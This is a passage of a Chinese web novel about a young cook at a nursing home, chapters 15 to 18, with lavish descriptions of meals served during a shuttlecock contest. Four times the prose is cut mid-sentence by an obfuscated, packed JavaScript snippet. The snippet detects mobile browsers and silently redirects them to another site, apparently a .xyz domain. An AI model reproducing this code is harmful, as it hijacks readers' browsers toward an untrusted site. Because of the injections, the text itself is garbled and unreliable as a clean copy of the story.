地三鲜出锅以后，香气四溢，大家排着队打地三鲜，都至少挖了两勺，大大地盖在米饭上，用它的酱汁去拌米饭，好吃的不得了。这也是苏桃的一大拿手菜，很快就被盛空了。想到等会儿有些老人会不够吃，苏桃准备再炒一锅。 锅里咕嘟嘟的三种食材炖在一起，浓稠的琥珀色汤汁将三种材料都染得色泽诱人，没有人不被勾动食欲大开。 石艳颜是养老院的年纪较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670077|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的老人，今年已经92岁了，有些基础病，但整体而言，身体保养得还可以。她这一辈子什么都见过，对很多事也都态度淡然了下来，不再像年轻时候那样容易情绪化反应。却没想到，在吃到这个地三鲜的时候，眼眶却有些红了。 她抬起手背擦了擦眼泪，还是有些忍不住。她想起了自己在家乡的日子，当时家里的孩子多，一家七口人，每年冬天，大雪纷飞的时候，家里就会炖一道地三鲜，满满地用大盆盛了。 虽然不是肉菜，却是她最爱的一道素食。几个哥哥姐姐也很照顾她，每次总是嘴里说着吃饱了，实际上是想把更多的菜留给她这个最小的吃，生怕她吃不够，长不高。这个味道让她想起了从前那些令人怀念的日子。 好在他们家族还算有长寿基因，虽然父母没了，但是兄弟姐妹90多岁的还有五个人，只是由于成家的原因，已经四散在全国各地。 石艳颜在想，什么时候再有机会跟她们一起坐在一张桌前，再吃一顿地三鲜呀！ 石艳颜独自消化了一会儿情绪，又夹了一口地三鲜放进嘴巴里，菜软软的，对牙口很友好，味道又是格外的好吃，香甜可口，入口软糯。好的食物能让人回忆起从前，这就是美食的力量吧。 旁边桌子的老人吕飞鹰手边放着一杯渐变色的饮料，上面粉色，下面棕色，色泽漂亮得很，渐变过渡自然，还有小气泡在里面，是他刚才拿动饮料晃动产生的。 透过食堂外穿进来的光线，看到晶莹剔透的液体，里面有烘干的小桃片，还有乌龙茶叶。这杯蜜桃乌龙茶是苏桃做的今日饮品，用了最原始的水果的香气，烘干的小桃片也是苏桃自己用烤箱做的。小桃片粉白渐变，被切成薄薄一片，弯弯的像月亮，充分保留了桃子本身的香味儿。 乌龙茶选择的是白芽奇兰，香味独特，淡雅沁人。当然，蜜桃乌龙茶中除了有桃子干儿以外，还有桃子酱，是加桃子肉、水和冰糖熬煮以后搅拌所形成的浓缩酱。将它和烘烤的桃子片儿放在一起，味道更加丰富有层次。光凭借桃子片儿的话，桃味儿的浓郁程度不容易直接散发出来。 蜜桃和乌龙茶的搭配非常经典，一口下去，清凉爽口，感觉像是将夏天都喝进了嘴巴里。 吕飞鹰和旁边的老赵头感慨：“年轻的时候我们喝的都是桃子粉、橘子粉，添加剂做成的，不纯粹，不过只要有点甜丝丝的味道就满足了。后来大了，不爱喝果汁也就再没尝过。没想到时隔这么多年，在小苏这儿，喝到了蜜桃乌龙茶，味道还真跟一般的果汁不一样，居然这么好喝！” 老赵点点头，咕咚咕咚大半杯下去：“这么清清爽爽的饮料，我也是头一次喝，又好看又好喝，真是一种享受啊。小苏这女娃真不得了，一杯饮料都能好喝到这种程度！” 15. 酸米粉＋肉松青团 两天后，“乐欢天毽子大赛”开始。家家乐养老院保安特意敞开大门，欢迎众多参赛者进入。 当初接到举办踢毽子大赛的通知后，报名人数众多。参赛者多数都是中老年人，常年训练已经让他们在这项运动上达到炉火纯青的程度。当然，也有少数自信满满的年轻人，决定一展身手。 所以苏桃这天刚进养老院就看到很多陌生的面孔，手里还不约而同地拎着一只毽子，毽子的花样各有不同，有的有长长的彩色毛发，也有短胖形状的，还有的看起来像个球，完全不像毽子，形状千奇百怪。 参赛者们换上了最宽松的运动服，方便比赛。毕竟有1000块钱奖金呢，谁都想跃跃欲试，拔得头筹。 只是这样的活动耗费体力较多，中场补充的食物也不像上次只是甜点就够，而是要有一些主食。 苏桃打算做一些米粉，既能饱腹，也不至于吃得太撑，软糯好消化，方便在中场快速端起一只小碗，几口吃下去，恢复体力。这种米粉碗是特意从外面买的，像小型泡面盒一样小巧玲珑，所以一次性可以尝好几个口味。 苏桃至少今天要做个四五种，主打酸米粉和牛肉粉，一种开胃，一种鲜香，尽量满足不同人的胃口。 酸菜是苏桃提前做好的，在晾晒酸菜之前，她把洗净的白菜放在院子里晾晒几天。院子里阳光正好，可以让白菜表面变得皱巴巴的，这样腌制出的酸菜口感会有所不同，更脆生生一些。之后，苏桃从缸子里将腌制好的酸菜拿出来，看上去金黄色泽，漂亮极了。 她把整颗酸菜拿出来切碎，这就是酸米粉的主要提酸食材。另外，还有准备好的酸豆角、酸笋等。起锅烧水，将干米粉放入锅中，沸水煮开以后，看到米粉变软变透亮，捞出来过凉水。 帮工眉小艺在旁边打下手，她已经顺利入职，跟着苏桃做了一天时间，在一旁默默观摩苏桃怎么做。她看到苏桃往锅中倒油，放入葱姜蒜爆香以后，把酸菜、酸豆角、酸笋放入，香味一下子被激发出来。 苏桃在爆炒过程中，说：“小艺，帮我调一个配料，按照我说的去做。” 眉小艺点点头，随即拿了一只碗，倒入生抽、陈醋、盐等调料，在碗中搅拌好以后，苏桃已经将米粉再次丢入刚刚炒制酸菜、酸豆角、酸笋的锅中，共同翻炒添水，让汤汁的味道浸入米粉。 眉小艺把调味的碗递给苏桃，她将料汁最后倒入锅内，这份炝锅酸米粉就做好了，上面撒上葱花，酸菜香气扑鼻而来。 眉小艺将酸菜米粉端了出去，那边毽子大赛已经开始了。参赛选手们在场内高高跳跃起来，无论毽子飞到什么位置，都能抬脚踢到，有时还会做出一些高难度动作，类似大大的空中劈叉，或者右脚向后做出燕子飞的姿态，看得眉小艺眼花缭乱：“哇，好厉害啊！” 她将做好的米粉大桶端到外面餐桌上，喊道：“酸米粉来啦，旁边的一次性纸碗可以随时取用。” 正在踢毽子的选手被浓郁的酸菜味勾得忍不住回了下头，毽子差点就落在地上，还好他眼疾手快，及时反应了过来。 参赛者叶君运是选手中相对年轻的，今年才20多岁，他是搞计算机的，平时非常忙碌，很少能抽出空闲。后来有次单位组织体检，他发现身体里有些指标出现了异样，看着那些红色的箭头，才意识到锻炼身体的重要性。 恰好叶君运楼下有邻居大爷几个经常聚在一起踢毽子，他就一起跟着来，这是最简便、成本低的运动方式了，而且就在家门口就可以进行。 踢了一段时间，街道举办了这个毽子大赛，又恰好是周六，叶君运就来参加了。本来他信心满满，打算得个名次呢，可是刚才对战的几个大爷身手不凡，年纪虽比他大，精神头可不弱于他，踢起毽子来能跳起一两米高，简直不得了！ 叶君运很快就被淘汰了，接下来他只有观战的份儿。心情有些低落的同时，他闻到了酸米粉的味道。 叶君运可是米粉爱好者，以前专门为吃好吃的米粉，一天之内跑二三十公里打一个来回，后来工作了，也就没有这样的心气儿了。不过这味道也太勾人了，叶君运决定尝一尝。 他自己盛了一小份酸米粉，米粉的酸汤呈现金黄色泽，太诱人了。叶君运忍不住先尝了一口汤，这种酸一点儿都不尖锐，而是发酵形成很自然的香气，醇厚诱人，酸香开胃。而且这酸味中因为加入了酸豆角和酸笋，让整个酸味变得很有层次，连米粉中都浸满了这样的香味。 一口米粉滑入口腔，Q弹爽滑的米粉，口感也太好了！米粉都因为沾满了酸菜汤汁而呈黄澄澄的，在阳光下透着亮光。一小碗酸米粉很快被吃了个精光：“唔，怎么这么好吃啊！” 叶君运已经完全忘却了观看比赛，一心沉浸在这美食盛宴中。 旁边的中年女人柳月槐也是参赛选手，带着孩子来给自己加油打气的。原本冲击决赛圈儿的她，现在抱着米粉吃个不停。她儿子童童忍不住抓她妈妈的衣袖：“妈，你待会儿还有比赛，不能吃的太撑了。” 柳月槐才恋恋不舍地放下碗。谁能想到，一个养老院做饭居然这么好吃。 “柳月槐女士在吗？下一场比赛要开始了。”柳月槐伸伸手，摸了摸肚子，热热身，给自己缓和十几二十分钟时间，再进行下一场比赛。 童童一直在旁边给妈妈加油打气，然而，比赛到一半的时候，突然又一锅牛肉米粉被端了上来。童童转过身，立刻扑到桶边去抢米粉去了。 这牛肉米粉和刚才的酸米粉不同，是鲜牛肉烫好直接放入米粉炒制的，汤汁散发着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670078|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜香牛骨汤的味道，纯白色米粉滑溜溜的，哧溜一下被童童吸进嘴巴里。他正是长身体的时候，一碗接着一碗，直到第五小碗才打了个饱嗝。 当意识到柳月槐那边结束了比赛，他跑过去，手里还有给妈妈留着的一碗牛肉米粉。 柳月槐看着童童，有些无奈：“咱娘俩是来比赛还是来吃饭来的？” 话虽这么说，她还是端起手中的碗，吸溜下去两根牛肉米粉，顿时眼睛大亮：“天呐，怎么一份简单的牛肉米粉也能做的这么鲜美？我都差点把舌头吞下去了。” 吃完米粉，她连汤带碗底的汤全喝下去，一滴都不剩。 “妈，你晋级了吗？” “放心，你妈我前三没跑了。” “哦耶，太好了，妈妈就是最棒的！” 不同味道的米粉被一次次端上来，很快，满满一大桶就空掉了。眉小艺把空了的大桶端回去的同时，苏桃已经在做一种肉松青团了。 青团是使用艾草制作的，艾草浸出了汁水，用来做它青色的皮。其中，在制作的时候，为了保持颜色的青绿，还会用碱水来浸泡艾草，再用糯米混合，就揉成了青团的皮，满眼青绿，扑面而来的清凉感。 肉松馅料也很有讲究，其中还要加入咸蛋黄、蛋黄酱、海苔碎等，共同掺入肉松馅将它拌匀。馅料团成团以后，外面再包裹好刚才做好的青团皮，小小的圆球进入青团皮内，逐渐收口，用手揉搓成圆滚滚的形状。大火蒸透，十分钟以后就可以出锅了。 热气腾腾的青团从锅中拿出，被一颗颗放在托盘上，相当透亮漂亮，温热的时候品尝，味道是最好的。 眉小艺端着青团出去时直流口水。青团刚放在桌子上，就看到参赛选手们向这个方向涌了过来，简直跟猛兽大部队迁徙似的。 活动负责人章韵美原本说比赛就要开始，闻见味道，突然临时叫停：“时间还够，大家先休息10分钟，一会儿继续。” 连负责人章韵美都过来一人手里拿着两只青团，一口咬下去，翠绿色外皮包裹着一大堆丰富的馅料，橙色、绿色相间，非常好看。外皮软软糯糯，里面的馅料味道清香可口，尤其是这时候肉松质量很好，能吃到咸香可口的肉香气，而且分布均匀，蓬松像丝绒一般，再加上这里面咸淡适中的酱料，味道口味一绝。 裁判小雅都忍不住问家家乐参赛的老人们：“平时我能来这养老院吃饭吗？” 得到肯定的答复后，裁判小雅笑逐颜开：“太好了，那我办张月卡，以后哪儿也不去了，就来家家乐养老院吃饭。” 其他的参赛者听到可以办卡，本来觉得有些遗憾呢，自己不是养老院成员，应该不能经常来吃，可这会儿也都兴奋起来：“我也想办卡，在哪儿办？是不是找唐院长就行？” 16. 糖醋里脊＋蛋黄酥 一小时后，决赛现场，72岁的老人莫策中把头一扬，赢了。 旁边一阵欢呼声：“72岁精神头还这么好，脚步站得那叫一个稳呢，腿踢得那叫一个高。我真是佩服，我现在才30多，都达不到他这么灵活的程度。” “你可不知道这莫策中是什么人呢？人家可是当初国家级的运动员，退役下来的，能差到哪去？而且家家乐养老院养得好啊，尤其是小苏饭菜好，人家人老心不老，越□□神头越好！” “嚯！原来是有来头的，什么项目的？” “跳高，参加过国际赛事，获过奖牌的。”众人不禁感叹，没想到家家乐养老院真是卧虎藏龙啊！ 苏桃看得也挺开心。不过，看看时间，她要回去做午饭了。今天在家家乐养老院吃午饭的人还真不少，外面的参赛者也都会留下来。 中午仍旧是荤素搭配，要准备好不同的菜品，闷上清香的米饭。荤菜中有一道糖醋里脊，是酸甜口爱好者的经典菜。 苏桃早上去菜市场选了一些新鲜的猪肉里脊，切成花刀，用刀背将里脊肉拍松。接下来要进行简单的腌制，加入少量盐、生抽、胡椒粉，再打入一个鸡蛋。拌好后，加入淀粉裹匀。 裹淀粉和油炸这两个步骤很有讲究，最好直接把干粉裹上去，这样不至于整个里脊肉太过湿润，炸的时候难以成型。等到在油锅中，里脊肉变得淡淡金黄捞出来，再复炸一次。 酱料需要白醋、糖、少量番茄酱。这番茄酱不是外面购买成袋或成盒装的，也是苏桃用番茄自制装瓶的。 番茄酱制作的过程要用很多个自然熟透红扑扑的番茄，个大饱满，将它们开水烫了以后去除外皮，熬煮过程要不断搅拌锅中番茄，让它变得软烂，成为浆液，再浓缩收汁，浓稠以后，还要用纱布过滤，留下来更细腻的部分。加入适量洋葱粉、白糖、白醋等继续熬制，出来装瓶，就成了番茄酱。这样做出来的番茄酱浓郁可口，酸甜适中。 用番茄酱淋上里脊，锅内的肉条很快变了色，漂亮鲜艳，让人很有食欲。很快，橙黄色的糖醋里脊就出锅了，被倒入食盆。 眉小艺在一旁猛嗅道：“我最爱吃糖醋里脊了，闻起来真的好香啊！” 糖醋里脊看上去橙黄油润，勾得人直流口水。眉小艺把食盆放进台子里，又去检查旁边的海带汤炖好了没有。 食堂马上就要开门了。眉小艺拿了抹布，将桌面擦得干干净净，都能反光了。这样老人在这里吃饭才更加舒心，尤其是今天外面还来了参赛者，更不能给家家乐养老院丢人。 食堂开门了，家家乐养老院的老人们全都涌了进来。 原本，养老院之外的参赛者们是可以选择留在养老院或者外出吃饭的，可是刚刚吃了酸米粉和牛肉米粉后被苏桃厨艺惊艳到的参赛者，这会儿也都不约而同地选择了进入养老院食堂吃饭。 不过，还是有参赛者耸肩：“虽然米粉确实好吃，不过你也知道，很多大厨都有一两样拿手好菜，那米粉应该就是它的最高水平吧，招待外来客人的嘛。” “你这么说，倒也不是没这个可能。不过既然来了，就尝尝呗。” 参赛者们进了食堂，很快就闻到了喷香的饭香气息。他们拿了托盘，打了米饭之后，又分别盛了几道荤菜和素菜、打了一碗海带汤。 潘婉笑坐在桌旁看着色泽鲜艳、多样的菜肴，闻着喷香的味道，忍不住用筷子夹了一块糖醋里脊，放在嘴巴里。一口下去，外酥里嫩，外壳酥酥脆脆，里面的里脊肉丰富多汁，伴着浓稠的酱料调制的酸甜口味，一口下去，整个人都像升华了一般。潘婉笑不由大惊：“怎么会这么好吃！这是我吃过最好吃的糖醋里脊了。” 她把糖醋里脊橙黄色的酱汁浇在米饭上拌开，米饭颗颗均匀包裹着酱汁，一口下去，味蕾瞬间得到了极大的满足。上午虽然吃了好吃的米粉，不过潘婉笑也参与了踢毽子运动，运动很快消耗了一些食物，所以这会儿胃口大开，大口大口吃掉了托盘里的几道菜。 乐千阳也盛了一份过来，尤其是多打了些糖醋里脊。乐千阳坐在潘婉笑旁边，又尝了一口蚝油生菜，也是震惊不已。 她从来不知道这生菜能做得这样好吃，之前生菜大家都是涮火锅里煮进去的，但单独炒生菜，如此清脆透亮的色泽，盖着一层蚝油酱料，一口下去，甜香脆嫩，好吃到难以形容：“哇，这生菜感觉和外面口感不一样啊，家里买的没有这么脆！” 乐千阳问潘婉笑：“是不是在炒的过程中有一些小方法能让它出锅更脆的？” “有可能，厉害的大厨能让食物的口感保持到最好。” 乐千阳还真有些羡慕养老院的生活，问身后坐着的家家乐养老院老人：“万姐，你们这儿的大厨是不是什么高级厨师啊，米其林厨师之类，做的饭怎么能这么好吃？” “这我不知道，但小苏她还很年轻呢，刚毕业的样子。” 乐千阳和潘婉笑对视一眼，由衷发出了感慨：“天哪，真是厉害了！我今年40多，还得上班，真想退休以后直接就进家家乐养老院。你们这小日子过得挺滋润，还能有这么好吃的饭菜，真不知道比我那个单位食堂做的饭菜好多少倍！” 乐千阳说着，已经掰着指头开始计算规划起进家家乐养老院的时间了。 乐千阳和潘婉笑环顾四周，不管是家家乐养老院的老人还是外来的参赛选手，每一个都在大口大口地吃饭，目光还都有意无意地盯着打饭台，生怕自己喜欢的菜，待会儿被人打走了，他们还要再盛一盘呢，饭量似乎都比平时大了不少。看起来好吃的下饭菜，真的能让人再多吃一大碗饭的。 等潘婉笑尝完了鲜嫩无比的海带汤，也不由托着腮帮子陷入了困惑：“世上怎么会有这样厉害的厨师？每一道菜都能惊掉下巴。看来，这里大厨的拿手菜可不是光米粉这一种，而是样样都做得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676106|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么好吃。” “是啊，我也没想到，家家乐养老院的大厨的确让我刮目相看了。” 潘婉笑还年轻，距离住进养老院的时间还长着呢，她顿时叹了口气：“我上班的单位离这儿有点儿远，平时办了卡也很难在养老院吃饭，只有周末有机会过来，我都想换工作了……” 潘婉笑和乐千阳吃完饭，摸了摸微微隆起的小腹，打了个饱隔，向外走去。 到门口的时候，潘婉笑忽然看到一个招聘公告，同为参赛者的任单亮也正站在那儿看呢。公告上写着，招募志愿者，补助一天80到120，根据兼职工作情况的不同，给到的志愿者费用也不同。 任单亮非常感兴趣，他也还年轻，是个坐办公室的白领，但因为想吃家家乐养老院的饭菜，本来打算办卡的，可看到志愿者招募，顿时觉得对他这种工作地比较远、不能天天来吃饭的人来说，周六日来做个兼职是更划算的，这样既能拿到补贴，还能在这儿免费吃饭，多么划算的一件事儿啊！ 不过，志愿者招募的人数也是有限制的，只招五个。任单亮看完了招募公告以后，旁边的潘婉笑也觉得挺适合自己，两人当即就跑着上楼去唐院长唐悦心办公室去了。 结果一推开门，办公室里已经站了好几个人，很明显，超过五个人了。 很显然，大家是奔着小苏食堂的饭菜来的。那也好，大家时间错开些，或许都是可以安排的。 于是唐悦心开口道：“人数已经超了，不过我觉得大家有想做志愿者的心，我很开心，所以名额扩大一些。现在在办公室里的所有人，待会儿都去找我同事登记一下，安排好志愿者表，大家就可以到时间来做志愿者了。” 任单亮、潘婉笑如愿进入，兴奋不已。结果刚一出门，又闻到了喷香的味道：“哇，你们这儿的大厨又做了什么？” 旁边的家家乐养老院赵阿姨开口：“小苏说，做了一些点心，你们回去路上可以带一些走。” 苏桃刚才在后厨，想到家里妹妹苏小糯最近也嚷嚷着想吃点心了，她于是准备了面粉、黄油、红豆和咸蛋黄等食材，将红豆煮熟用大勺压成红豆沙，加入少量糖，让它带一点淡淡的甜味，想而不腻。另一边，她分别用提炼出来的黄油制作出油皮和油酥。之所以使用黄油，是比猪油做起来更方便一些，并且味道上增加了奶香气。 接着红豆沙包裹咸蛋黄，将油皮再包裹油酥，馅料团成圆圆一颗，放在外皮中心，手指轻轻搓动，团成一颗点心小球。 蛋黄酥成型后，表面撒上少许黑芝麻，放进烤箱加热，半小时左右，蛋黄酥就散发出浓郁的香气，勾得远处的老人们都忍不住停下了散步，朝食堂方向看了过去。 任单亮一看，眼睛也直接亮了。食堂外的餐桌上，放着一只白色托盘，热气腾腾的点心刚被烤制出来，香甜浓郁的味道扑入鼻腔。那是一颗颗黄润漂亮、酥皮可口的蛋黄酥啊…… 17. 过桥米线＋青提西瓜饮 潘婉笑拿起一颗蛋黄酥，金黄的外表十分诱人。一口咬下去，外层酥脆，里面的馅料，红豆、咸蛋黄还包着一层雪白的雪媚娘，绵软细腻。咸蛋黄的味道中和了红豆馅儿的甜味儿，整个口感丰富，好吃而不腻。 潘婉笑不禁感慨：“这外皮怎么能做得这么酥啊？蛋香味、奶香味好浓郁，好好吃！我原本以为提前搭配的口感会很怪，但没想到，这么细腻的红豆沙包裹着咸蛋黄，味道居然这么和谐。” 好吃到她还要再拿一个，然而抬手再去拿的时候，赫然发现，整个桌面台子上，托盘里的蛋黄酥，已经就剩不到十颗了。大家的手速可真快，家家乐养老院每上一道饭菜或者点心，都像风卷残云一般，快速被拿空。 好在她还是拿到了一颗，不过这一颗，潘婉笑要留给妹妹吃。妹妹小芸还在上中学，最近学业压力非常大，看上去总是闷闷不乐，她的压力连姐姐都看得出来，却一直默默承受着，真是让人担忧。不过她想到妹妹最爱吃甜点了，带回去给她尝尝，她一定喜欢。 下午，参赛者们陆续离开了家家乐养老院。 苏桃因为有了帮手眉小艺的缘故，也可以抽出清洗食材、切菜摘菜等时间，专心用来做各种吃食。所以今天的蛋黄酥就相当于是一点小加餐。未来三餐之外，苏桃可能也会尝试一些其他的点心、饮品之类。 苏桃回到宿舍，休息了两个小时。宿舍电视她以前一直没开过，今天不困，就打开电视，发现电视里的台还挺多，一百个都调不完。 她随便调台，定格到一个电影。看完以后时间差不多了，眉小艺来敲门叫她：“小苏姐，咱们下去吧！” 苏桃虽然年轻，不过眉小艺比苏桃还要小两岁。她因为家里条件不好，进入社会早，所以工龄时间要比苏桃长一些，做事麻利，有眼色，也是之前在工作中锻炼出来的。她这人也闲不下来，一有空就拾掇拾掇这儿，擦擦那儿，扫扫这儿，把食堂搞得一尘不染。 连院长唐悦心看，都不由惊讶：“这也太干净了吧？”她甚至走进食堂，脚都不敢踩地，生怕弄脏了地板，又给眉小艺增加工作量。 到了食堂，眉小艺问苏桃：“小苏姐，咱们晚上吃什么呀？”她跟着苏桃做饭，也能品尝到那些美味。毕竟每次那些饭，苏桃都会留出两份，她们两个在后厨吃，有时也会端到外面空余的桌子旁吃。 但味道实在太好了，在眉小艺工作经历当中，吃过的所有员工餐加起来都不及苏桃饭的十分之一好吃。 苏桃开口道：“今晚吃过桥米线。” “那我需要准备什么食材吗？”眉小艺问。 苏桃说：“老母鸡、猪大骨我来准备。你洗一些葱姜，另外，鲜猪肉里脊、鱼段、鸡腿肉各准备一份。素菜的话，韭菜、豆腐皮、香菇、木耳、墨鱼片、火腿、豌豆尖，都要准备好。这一份过桥米线搭配，做的配菜相当丰富才可以，毕竟我们今晚的主餐就是它了。” “哇，太好了！”眉小艺一听，就兴奋得不得了，听上去就很好吃的样子，她转身去准备了。 苏桃这边把老母鸡、猪大骨都洗干净。之所以用老母鸡，是因为它炖出来的鸡汤更加浓郁有味道。 上一世，苏桃在做美食主播过程中，为寻找食材专程进山，找到有人家散养的走地老母鸡，直接放汤里炖什么料都不加，炖出来以后，鸡肉中释放出的天然油脂都是金黄色的，汤都染成了那个颜色，营养非常丰富，一口下去，简直鲜掉眉毛。 那种鸡普遍劲瘦，鸡肉很结实，不好咬，但是熬汤来说，却是最佳的选择。离开大山以后，在外面就很难买到直接能炖出黄澄澄汤汁的鸡了。所以苏桃专程从菜市场买了老母鸡，商家说是走地鸡，不知道是不是真正大山里来的，但总归比普通鸡要好一些。 把老母鸡、猪大骨下锅，水开以后，会有浮沫飘在汤的表面，用勺子撇去，洗净后继续丢入锅中，放入料酒去腥，葱姜段一块搁进去，小火慢炖。这期间，不断地加入部分鲜虾、鱼段，让汤汁的味道更加浓郁。其余的肉则需要片成非常薄的一层准备，那是要到最后端出来时，再将那些肉片烫进去。 眉小艺也已经备好了素菜，整整齐齐地码在旁边。 两小时后，熬的老母鸡和猪骨的鸡汤变得浓稠，肉香味扑鼻。苏桃在其中加入调料，再用一点白胡椒粉提味。由于食堂里没有专门用来盛放过桥米线一格一格的小食盒，所以苏桃把下好的米线捞出，放进碗里，打完汤以后，直接将不同种类的素菜，豆芽、韭菜、木耳、香菇、墨鱼片等，直接丢入汤中，全部烫好，再一碗一碗端到打饭处。 不过由于后面的菜码也是新烫的，所以实际吃法和过桥米线一样，并不影响口感。 食堂门开了，老人林海深一个箭步窜了进来。他在外面闻着味道，早就勾得受不了了，步都散不下去，直接提前就在食堂门口等着。等到一开门，香得腿差点都软。 苏桃特意换了大碗，米线白嫩光滑，盛在碗底，汤汁浓白中泛着金黄色，上面盖着各式各样的菜码，粗略一数足有十几种。 “我的天呐，这闻起来也太香了！”林海深将一碗过桥米线端到桌旁，拿筷子一挑，把米线和菜拌匀，夹起一筷子雪白滑溜的米线往嘴里这么一吸，就再次被这味道惊艳。苏桃选用的是湿米线，所以更容易被汤汁侵入，每一口都是浓香的肉汤的味道。 吃米线怎么能不喝汤呢？林海深拿起小勺，盛起一口浓白的汤汁喝上一口，融合着各种肉食、素菜，尤其是豌豆尖儿、菌菇这种有独特风味的食材，汤在一起的香味融合得恰到好处。林海深一口接一口，根本停不下来。 因为过桥米线的用料比较复杂，熬炖高汤的时间也很久，所以像食堂这种环境下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693174|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能把过桥米线制作过程完整做下来的不多，口感就会大打折扣。苏桃却完全没有省略步骤，甚至为了增添风味，蘑菇的选取上，也很有当地的特点。 旁边坐着的老人张辛仪就发现了这一点：“林大哥，你看这蘑菇，除了香菇以外，是不是还有一些野生菌啊？这好像是云南本地的野生菌，尤其是山里面直接采摘的，听说味道特别好，人家当地的人会吃，放在菜品里，那味道不是一般的鲜。” “怪不得这过桥米线这么好吃，小苏的选材真是用心啊！” “咦，这个黑黑的肉是什么？墨鱼片吗？我以前还从没吃过呢。” “我倒是尝过，但外面饭店做的墨鱼片，好像放了什么添加的成分，没有这个这么鲜嫩。” “小苏这个墨鱼片也是她自己做的吧？” “是啊，我刚才路过厨房的时候看到了，她们处理墨鱼留下来的墨囊就在旁边盆子里，里面还有墨汁呢。” “现做的呀，怪不得这么新鲜。” 苏桃选择这墨鱼，的确都是刚从市场上买来的，肉质一定要紧实，用手一捏，滑滑弹弹的才行，颜色带一点浅浅的褐色。处理墨鱼有点麻烦，因为除了它的内脏、墨囊以外，还有撕去墨鱼表面的一层膜，然后才用刀把墨鱼切成极薄的片。这样子方便在过桥米线出锅以后，将墨鱼丢进汤里，直接就能烫熟。 墨鱼片的口感主要和它新鲜度有关，新鲜的肯定比冷冻的，或者是掺杂了一些添加剂的墨鱼片要好吃很多。并且它特别适合放在过桥米线里，因为烫的时间比较短，是在出锅以后再烫，这样墨鱼片就保持它最鲜嫩的样子，口感好极了。 林海深、张辛仪说话间，突然发现院长唐悦心不知道什么时候也来了食堂：“咦，院长不是经常忙得赶不上食堂吃饭吗？都是自己过了饭点儿才吃饭的。” “因为小苏做的饭好吃呀，我看最近院长来的可勤了，好像安排外出什么的也特意避开要吃饭的时间。” “也是，以前我特别不能理解，有的人为了一顿饭跑好远去吃，现在吃了小苏的饭，我可太能理解了。” 苏桃今天还做了青提西瓜饮料，老人许梅月特意拿了一杯。 这青提西瓜饮料色泽特别好看，玻璃杯的底部是绿色的青提汁，中间是淡淡渐变的颜色，再往上是西瓜红，红绿相称，颜色鲜艳，有种夏天之感，非常勾动人的食欲。 做法也很简单，苏桃提前让眉小艺准备好了西瓜，切块以后放入榨汁机榨成汁。另外一边，青提剥一下皮，把肉放在杯底，导出汁液，接着倒入少量柠檬水和果汁甜味中和，再把西瓜块放在顶部，最上面有一枚薄荷叶点缀，就非常好看了。 西瓜是刚刚在凉水里存放的，拿出来以后还凉凉的，但不至于太冰，既保证了口感，又不会影响老人们的肠胃。一口下去，果味满满，非常清爽。 18. 金黄煎饺＋蓝莓山药 等晚上食堂的人散去，苏桃和眉小艺收拾好厨房的东西，各自回家了。 苏桃特意拐到旁边的文具店，还好那里没下班，她买了一副风景画拼图，有着荷兰风车和郁金香图案的，带回家给苏小糯。现在能适当赚到点钱，苏小糯上次考试成绩也不错，应该适当给她买些小礼物作为奖励。 苏小糯非常喜欢这幅拼图，和苏桃拼了一个多小时才完成，然后两人沉沉睡下了。 第二天早上起来，苏桃先去菜市场买菜。眉小艺已经在菜市场门口等她。自从眉小艺来了以后，两人会约定好同一个时间抵达菜市场采购食材。三轮车后面摆得满满当当都是菜品，一起分担重量，苏桃就不用总是在采购和卸货的时候那么辛苦了。 回到食堂后，苏桃吩咐眉小艺开始和面，她则调和起肉馅了。今天要做一份猪肉白菜煎饺。 猪肉打成馅，再将新鲜白嫩的白菜切碎搅拌，加入盐、生抽、调料粉，当然葱姜水也必不可少。包饺子，苏桃手拿把掐，速度很快，一秒钟就是一个，双手向内用力，瞬间，一只可爱的立正小饺子就包好了。她把包好的饺子一排排放好，密密麻麻等着排队下锅。 另一边，平底锅倒入少量油，用刷子将油涂匀，不至于粘连。随后将刚刚包好的饺子放进去。 